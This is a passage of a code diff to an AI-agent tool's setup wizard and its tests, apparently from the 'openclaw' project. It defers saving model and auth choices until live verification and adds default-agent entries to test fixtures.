config: { wizard: { securityAcknowledgedAt: "2026-06-30T00:00:00.000Z" }, @@ -1460,6 +1564,7 @@ describe("runSetupWizard", () => { primary: "openai/gpt-5.5", }, }, + entries: { main: { default: true } }, }, }, issues: [], @@ -1519,12 +1624,18 @@ describe("runSetupWizard", () => { raw: "{}", parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: { + agents: { + defaults: { workspace: currentWorkspace }, + list: [{ id: "main", default: true }, { id: "ops" }], + }, + }, valid: true, config: { wizard: { securityAcknowledgedAt: "2026-06-30T00:00:00.000Z" }, agents: { defaults: { workspace: currentWorkspace }, - list: [{ id: "main" }, { id: "ops" }], + list: [{ id: "main", default: true }, { id: "ops" }], }, }, issues: [], @@ -1815,10 +1926,13 @@ describe("runSetupWizard", () => { .mockResolvedValueOnce("demo-provider-two"); applyAuthChoice.mockReset(); applyAuthChoice - .mockResolvedValueOnce({ + .mockImplementationOnce(async (args) => ({ config: { + ...args.config, plugins: { + ...args.config.plugins, entries: { + ...args.config.plugins?.entries, "demo-provider-plugin": { enabled: true, }, @@ -1826,18 +1940,21 @@ describe("runSetupWizard", () => { }, }, retrySelection: true, - }) - .mockResolvedValueOnce({ + })) + .mockImplementationOnce(async (args) => ({ config: { + ...args.config, agents: { + ...args.config.agents, defaults: { + ...args.config.agents?.defaults, model: { primary: "demo-provider-two/model", }, }, }, }, - }); + })); const prompter = buildWizardPrompter({}); const runtime = createRuntime(); @@ -1859,37 +1976,36 @@ describe("runSetupWizard", () => { expect(promptAuthChoiceGrouped).toHaveBeenCalledTimes(2); expect(applyAuthChoice).toHaveBeenCalledTimes(2); - expectRecordFields( + const retryParams = requireRecord( getMockCallArg(applyAuthChoice, 1, 0, "retry auth choice"), - { - authChoice: "demo-provider-two", - config: { - plugins: { - entries: { - "demo-provider-plugin": { - enabled: true, - }, - }, - }, - }, - }, "retry auth choice params", ); + expect(retryParams.authChoice).toBe("demo-provider-two"); + const retryConfig = requireRecord(retryParams.config, "retry auth choice config"); + expect(requireRecord(retryConfig.plugins, "retry plugins").entries).toEqual({ + "demo-provider-plugin": { enabled: true }, + }); + const retryAgents = requireRecord(retryConfig.agents, "retry agents"); + expect(retryAgents.entries).toEqual({ main: { default: true } }); + expect(requireRecord(retryAgents.defaults, "retry defaults").workspace).toBe( + "/tmp/openclaw-workspace", + ); }); it("forwards provider-specific auth flags to applyAuthChoice opts", async () => { applyAuthChoice.mockReset(); - applyAuthChoice.mockResolvedValueOnce({ + applyAuthChoice.mockImplementationOnce(async (args) => ({ config: { + ...args.config, agents: { + ...args.config.agents, defaults: { - model: { - primary: "openai/gpt-5.5", - }, + ...args.config.agents?.defaults, + model: { primary: "openai/gpt-5.5" }, }, }, }, - }); + })); const prompter = buildWizardPrompter({}); const runtime = createRuntime(); @@ -1920,17 +2036,18 @@ describe("runSetupWizard", () => { it("passes preserveExistingDefaultModel to applyAuthChoice to protect existing default model", async () => { applyAuthChoice.mockReset(); - applyAuthChoice.mockResolvedValueOnce({ + applyAuthChoice.mockImplementationOnce(async (args) => ({ config: { + ...args.config, agents: { + ...args.config.agents, defaults: { - model: { - primary: "google/gemini-3.1-pro-preview", - }, + ...args.config.agents?.defaults, + model: { primary: "google/gemini-3.1-pro-preview" }, }, }, }, - }); + })); const prompter = buildWizardPrompter({}); const runtime = createRuntime(); @@ -1980,8 +2097,10 @@ describe("runSetupWizard", () => { raw: "{}", parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: {}, valid: true, config: { + agents: { entries: { main: { default: true } } }, gateway: {}, }, issues: [], @@ -2034,8 +2153,10 @@ describe("runSetupWizard", () => { raw: "{}", parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: {}, valid: true, config: { + agents: { entries: { main: { default: true } } }, gateway: { auth: { mode: "password", @@ -2129,6 +2250,7 @@ describe("runSetupWizard", () => { const runtime = createRuntime(); readConfigFileSnapshot.mockResolvedValueOnce( configSnapshot({ + agents: { entries: { main: { default: true } } }, gateway: { port: 19111, bind: "loopback", @@ -2367,9 +2489,18 @@ describe("runSetupWizard", () => { }); it("offers a live AI check after classic model setup", async () => { - applyAuthChoice.mockResolvedValueOnce({ - config: { agents: { defaults: { model: { primary: "openai/gpt-5.5" } } } }, - }); + applyAuthChoice.mockImplementationOnce(async (args) => ({ + config: { + ...args.config, + agents: { + ...args.config.agents, + defaults: { + ...args.config.agents?.defaults, + model: { primary: "openai/gpt-5.5" }, + }, + }, + }, + })); const confirm = vi.fn(async () => true) as unknown as WizardPrompter["confirm"]; const prompter = buildWizardPrompter({ confirm }); @@ -2396,9 +2527,18 @@ describe("runSetupWizard", () => { }); it("continues classic setup when live AI verification fails", async () => { - applyAuthChoice.mockResolvedValueOnce({ - config: { agents: { defaults: { model: { primary: "openai/gpt-5.5" } } } }, - }); + applyAuthChoice.mockImplementationOnce(async (args) => ({ + config: { + ...args.config, + agents: { + ...args.config.agents, + defaults: { + ...args.config.agents?.defaults, + model: { primary: "openai/gpt-5.5" }, + }, + }, + }, + })); verifySetupInferenceConfig.mockResolvedValueOnce({ ok: false, status: "auth", @@ -2429,11 +2569,46 @@ describe("runSetupWizard", () => { expect.objectContaining({ message: "How would you like to continue?" }), ); expect(verifySetupInferenceConfig).toHaveBeenCalledOnce(); + expect(persistedWizardConfigs().at(-1)?.agents?.defaults?.model).toBeUndefined(); + }); + + it("does not persist staged model or auth choices when live verification is cancelled", async () => { + const stateDir = await makeCaseDir("cancelled-auth-verification-"); + const agentDir = path.join(stateDir, "agent"); + const persistCalls = prepareMockAuthProfilesIn(agentDir); + applyAuthChoice.mockResolvedValueOnce({ + config: modelConfigWithApiKey("test-cancelled-key"), + }); + verifySetupInferenceConfig.mockRejectedValueOnce(new WizardCancelledError("cancelled")); + replaceConfigFile.mockClear(); + + await expect( + runSetupWizard( + { + acceptRisk: true, + flow: "quickstart", + authChoice: "demo-provider", + installDaemon: false, + skipChannels: true, + skipSkills: true, + skipSearch: true, + skipHealth: true, + skipUi: true, + }, + createRuntime(), + buildWizardPrompter({ confirm: vi.fn(async () => true) }), + ), + ).rejects.toThrow("cancelled"); + + expect(replaceConfigFile).not.toHaveBeenCalled(); + expect(persistCalls).toEqual([]); + await expect(fs.access(agentDir)).rejects.toThrow(); }); it("keeps failed model/auth fixes in the verification loop without persisting them", async () => { const stateDir = await makeCaseDir("failed-auth-profile-retry-"); const agentDir = path.join(stateDir, "agent"); + await upsertAuthProfileWithLock({ ...stagedOpenAiProfile("test-original-key"), agentDir }); prepareMockAuthProfilesIn(agentDir); applyAuthChoice .mockResolvedValueOnce({ @@ -2500,6 +2675,7 @@ describe("runSetupWizard", () => { expect( persistedWizardConfigs().some( (config) => + config.models?.providers?.openai?.apiKey === "test-original-key" || config.models?.providers?.openai?.apiKey === "test-retry-invalid-key" || config.models?.providers?.openai?.apiKey === "test-retry-still-invalid-key", ), @@ -2573,7 +2749,7 @@ describe("runSetupWizard", () => { expect(readAuthProfileStoreForTest(agentDir).profiles["openai:default"]).toEqual( stagedOpenAiProfile("test-retry-valid-key").credential, ); - expect(persistCalls).toEqual([undefined, [stagedOpenAiProfile("test-retry-valid-key")]]); + expect(persistCalls).toEqual([[stagedOpenAiProfile("test-retry-valid-key")]]); } finally { await removeOAuthTestTempRoot(stateDir); } diff --git a/src/wizard/setup.ts b/src/wizard/setup.ts index 27927b662ffc..5dc82db104c4 100644 --- a/src/wizard/setup.ts +++ b/src/wizard/setup.ts @@ -3,7 +3,10 @@ import { normalizeOptionalString } from "@openclaw/normalization-core/string-coe import { formatCliCommand } from "../cli/command-format.js"; import { resolveOnboardingAgentTarget } from "../commands/onboard-agent-target.js"; import type { GatewayAuthChoice, OnboardMode, OnboardOptions } from "../commands/onboard-types.js"; +import { hasResolvedRosterBeforeMigrations } from "../config/agent-roster-provenance.js"; import { ConfigMutationConflictError, resolveGatewayPort } from "../config/config.js"; +import { createMergePatch } from "../config/io.write-prepare.js"; +import { applyMergePatch } from "../config/merge-patch.js"; import { resolveAgentModelPrimaryValue } from "../config/model-input.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeSecretInputString } from "../config/types.secrets.js"; @@ -25,7 +28,7 @@ import { listSetupMigrationOptions, runSetupMigrationImport, } from "./setup.migration-import.js"; -import { runSetupModelAuthStep } from "./setup.model-auth.js"; +import { runSetupModelAuthStep, type SetupModelAuthCandidate } from "./setup.model-auth.js"; import { resolveSetupSecretInputString } from "./setup.secret-input.js"; import { hasQuickstartGatewayOverrides, @@ -81,10 +84,9 @@ async function runSetupWizardOnce( await prompter.intro(t("wizard.setup.intro")); const snapshot = await readSetupConfigFileSnapshot(); + let currentSetupSnapshot = snapshot; let baseConfig: OpenClawConfig = snapshot.valid - ? snapshot.exists - ? (snapshot.sourceConfig ?? snapshot.config) - : {} + ? (snapshot.runtimeConfig ?? snapshot.config) : {}; baseConfig = await requireRiskAcknowledgement({ opts, prompter, config: baseConfig }); // Ordinary onboard reruns must preserve existing agents.list / bindings. Only @@ -271,7 +273,8 @@ async function runSetupWizardOnce( if (!migratedSnapshot.valid) { throw new Error("Migration produced an invalid OpenClaw config. Run `openclaw doctor`."); } - baseConfig = migratedSnapshot.sourceConfig ?? migratedSnapshot.config; + currentSetupSnapshot = migratedSnapshot; + baseConfig = migratedSnapshot.runtimeConfig ?? migratedSnapshot.config; pendingPluginInstallMigrationBaseConfig = baseConfig; const importedModelRef = resolveAgentModelPrimaryValue(baseConfig.agents?.defaults?.model); importedInferenceVerified = @@ -503,29 +506,31 @@ async function runSetupWizardOnce( const { applyLocalSetupWorkspaceConfig, applySkipBootstrapConfig } = await loadOnboardConfigModule(); - const { allowWorkspaceChange } = await resolveSetupWorkspaceSelection({ + const hasAuthoredRoster = hasResolvedRosterBeforeMigrations(currentSetupSnapshot); + const { workspaceDir, allowWorkspaceChange } = await resolveSetupWorkspaceSelection({ baseConfig, requestedWorkspaceDir, prompter, + hasAuthoredRoster, }); let nextConfig: OpenClawConfig = applyLocalSetupWorkspaceConfig( baseConfig, requestedWorkspaceDir, - { allowWorkspaceChange }, + { allowWorkspaceChange: allowWorkspaceChange || !hasAuthoredRoster }, ); if (opts.skipBootstrap) { nextConfig = applySkipBootstrapConfig(nextConfig); } - + const preModelAuthConfig = nextConfig; + let stagedModelAuth: SetupModelAuthCandidate | undefined; if (!keepExistingModelConfig) { - const modelAuth = await runSetupModelAuthStep({ + stagedModelAuth = await runSetupModelAuthStep({ config: nextConfig, opts, prompter, runtime, }); - await modelAuth.persistAuthProfiles(); - nextConfig = modelAuth.config; + nextConfig = stagedModelAuth.config; } const { configureGatewayForSetup } = await import("./setup.gateway-config.js"); @@ -539,37 +544,63 @@ async function runSetupWizardOnce( prompter, runtime, }); - nextConfig = gateway.nextConfig; - const settings = gateway.settings; - - // Persist auth + gateway decisions now: channel/search/skills steps can pair - // devices or install plugins, and a crash or cancel there must not force the - // user to redo provider setup from scratch. - nextConfig = await writeSetupConfigFile(nextConfig, { - allowConfigSizeDrop: false, - }); + const onboard = (await import("../commands/onboard-agent.js")).ensureOnboardingConfig; + nextConfig = (await onboard(gateway.nextConfig, workspaceDir, usedImportFlow, baseConfig)).config; let liveModelVerified = false; + let setupConfigPersisted = false; // keepExistingModelConfig is latched before auth setup, so this distinguishes // a route supplied by the import from one configured normally after the import. if ( opts.nonInteractive !== true && !importedInferenceVerified && hasConfiguredDefaultModel(nextConfig) && - opts.authChoice !== "skip" + ((usedImportFlow && keepExistingModelConfig) || opts.authChoice !== "skip") ) { const verificationTarget = resolveOnboardingAgentTarget(nextConfig); const verification = await offerLiveModelVerification({ config: nextConfig, + ...(stagedModelAuth + ? { + initialCandidate: { + ...stagedModelAuth, + config: nextConfig, + }, + } + : {}), opts, prompter, runtime, workspaceDir: verificationTarget.workspaceDir, writeConfig: async (config) => await writeSetupConfigFile(config, { allowConfigSizeDrop: false }), + required: usedImportFlow && keepExistingModelConfig, }); nextConfig = verification.config; liveModelVerified = verification.verified; + setupConfigPersisted = verification.persisted; + if (!verification.verified && verification.attempted && stagedModelAuth) { + // Gateway/roster decisions may be persisted after an optional failed probe, but the + // unverified model/auth delta must be removed atomically before that first write. + nextConfig = applyMergePatch( + nextConfig, + createMergePatch(stagedModelAuth.config, preModelAuthConfig), + ) as OpenClawConfig; + } else if (!verification.verified && stagedModelAuth) { + // Declining an optional probe is not a failed verification; keep the + // provider/model choice the user just made and persist it once here. + await stagedModelAuth.persistAuthProfiles(); + } + } else if (stagedModelAuth) { + // Non-interactive setup has no live-verification step by contract. + await stagedModelAuth.persistAuthProfiles(); + } + + if (!setupConfigPersisted) { + // Persist gateway/roster decisions only after the interactive verification boundary. + nextConfig = await writeSetupConfigFile(nextConfig, { + allowConfigSizeDrop: false, + }); } prompter.disableBackNavigation?.(); @@ -679,7 +710,7 @@ async function runSetupWizardOnce( hadExistingConfig: snapshot.exists, nextConfig, workspaceDir: onboardingTarget.workspaceDir, - settings, + settings: gateway.settings, prompter, runtime, }); diff --git a/src/wizard/setup.workspace.ts b/src/wizard/setup.workspace.ts index 98cf64f4518a..ad24bd9183ae 100644 --- a/src/wizard/setup.workspace.ts +++ b/src/wizard/setup.workspace.ts @@ -13,15 +13,16 @@ export async function resolveSetupWorkspaceSelection(params: { requestedWorkspaceDir: string; prompter: WizardPrompter; canConfirmMove?: boolean; + hasAuthoredRoster?: boolean; }): Promise<{ workspaceDir: string; allowWorkspaceChange: boolean; conflict?: OnboardingWorkspaceConflict; }> { - const conflict = resolveOnboardingWorkspaceConflict( - params.baseConfig, - params.requestedWorkspaceDir, - ); + const conflict = + params.hasAuthoredRoster === false + ? undefined + : resolveOnboardingWorkspaceConflict(params.baseConfig, params.requestedWorkspaceDir); if (!conflict) { return { workspaceDir: params.requestedWorkspaceDir, allowWorkspaceChange: false }; } diff --git a/test/e2e/qa-lab/runtime/heartbeat-active-hours-runtime.ts b/test/e2e/qa-lab/runtime/heartbeat-active-hours-runtime.ts index 0743e02ce45c..1d8eb38b96a3 100644 --- a/test/e2e/qa-lab/runtime/heartbeat-active-hours-runtime.ts +++ b/test/e2e/qa-lab/runtime/heartbeat-active-hours-runtime.ts @@ -52,6 +52,7 @@ function parseOptions(argv: string[], repoRoot = process.cwd()): HeartbeatRuntim function heartbeatConfig(quietHours: boolean): OpenClawConfig { return { agents: { + entries: { main: { default: true } }, defaults: { heartbeat: { activeHours: quietHours diff --git a/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/discord-group-codex-message-tool.md b/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/discord-group-codex-message-tool.md index 032614432a80..8e5627d89c03 100644 --- a/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/discord-group-codex-message-tool.md +++ b/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/discord-group-codex-message-tool.md @@ -43,6 +43,11 @@ "heartbeat": { "every": "30m" } + }, + "entries": { + "main": { + "default": true + } } }, "messages": { diff --git a/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/telegram-direct-codex-message-tool.md b/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/telegram-direct-codex-message-tool.md index 0f16dee7728d..9cdd54f0ea4c 100644 --- a/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/telegram-direct-codex-message-tool.md +++ b/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/telegram-direct-codex-message-tool.md @@ -43,6 +43,11 @@ "heartbeat": { "every": "30m" } + }, + "entries": { + "main": { + "default": true + } } }, "messages": { diff --git a/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/telegram-heartbeat-codex-tool.md b/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/telegram-heartbeat-codex-tool.md index e99df9c14753..d2f16391d5fb 100644 --- a/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/telegram-heartbeat-codex-tool.md +++ b/test/fixtures/agents/prompt-snapshots/codex-runtime-happy-path/telegram-heartbeat-codex-tool.md @@ -43,6 +43,11 @@ "heartbeat": { "every": "30m" } + }, + "entries": { + "main": { + "default": true + } } }, "messages": { diff --git a/test/helpers/agents/happy-path-prompt-snapshots.ts b/test/helpers/agents/happy-path-prompt-snapshots.ts index ecc019d9e37e..33c17cc8d4ab 100644 --- a/test/helpers/agents/happy-path-prompt-snapshots.ts +++ b/test/helpers/agents/happy-path-prompt-snapshots.ts @@ -338,6 +338,7 @@ const baseConfig: OpenClawConfig = { every: "30m", }, }, + entries: { main: { default: true } }, }, }; diff --git a/test/helpers/agents/prompt-composition-scenarios.ts b/test/helpers/agents/prompt-composition-scenarios.ts index af9b1c35d3a7..306a02a52fff 100644 --- a/test/helpers/agents/prompt-composition-scenarios.ts +++ b/test/helpers/agents/prompt-composition-scenarios.ts @@ -569,6 +569,7 @@ async function createBootstrapWarningScenario(workspaceDir: string): Promise { }, }, }, + entries: { main: { default: true } }, }, models: { mode: "merge",